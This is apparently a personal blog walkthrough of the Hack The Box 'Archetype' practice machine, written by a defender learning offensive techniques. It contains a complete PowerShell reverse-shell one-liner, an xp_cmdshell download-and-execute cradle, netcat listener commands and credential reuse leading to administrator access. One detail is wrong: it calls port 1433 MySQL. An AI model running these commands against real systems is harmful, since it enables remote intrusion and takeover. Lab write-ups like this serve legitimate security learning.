HTB: Starting Point

Written in


Going to start some hackthebox to learn more stuff. While I have skills in the detection area, working with Netflow and DNS, I don’t have a strong offensive mindset. Perhaps that will be beneficial, thinking in terms of offense to develop a better defense.

Set the ports to scan:

ports=$(nmap -p- –min-rate=1000 -T4 | grep ^[0-9] | cut -d ‘/’ -f 1 | tr ‘\n’ ‘,’ | sed s/,$)

Perfom nmap on the target with the specified ports

nmap -sC -sV -p$ports

We can see that ports 135, 139, 445 and 1433 are open


Port 135 is related to RPC service

Ports 139 and 445 are related to SMB service

Port 1433 is related to MySQL service

Connecting to the the SMB service

We call smbclient to list available shares


We then access the backups folder and see what files are inside, and download the file called prod.dtsConfig


Analyzing prod.dtsConfig

        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>

We see the password Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc, most likely for our SQL connection

Accessing SQL

Earlier we saw that port 1433 was open, and now we try to connect to it with the found credentials

We use Impacket’s to connect to the SQL server


We then check if the user has the role of a sysadmin


Creating a Powershell reverse shell


Remember to change the IP address to your VPN address

$client = New-Object System.Net.Sockets.TCPClient(<IPADDRESS>,443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 

We use the setup a Python3 webserver to allow our victim to download the shell

python3 -m http.server 80

We then setup a nc listener to wait for the victim to execute the shell script, and call back to us

nc -lvnp 443

We modify our firewall rules to allow the victim to connect to us on port 80 to download the shell, and port 443 for the reverse connection

ufw allow from proto tcp to any port 80,443

Over at the victim end in the SQL server, we run the command to download and execute the shell script

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"\");"

The nc listener should now recieve a connection from the victim to port 443, and you have a shell!

Accessing the user flag

We can list out files, and print out contents of the files. Here, we access the flag in sql_svc user’s Desktop


But we want to get the admin flag.

Getting Admin Flag

Using netcat, we get the Powershell history, and we find that the backups are mounted with administrator, and the password


With that information, we run Impacket’s psexec, and we get the root account


We then navigate to the desktop and grab the flag, and we’re done!



Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: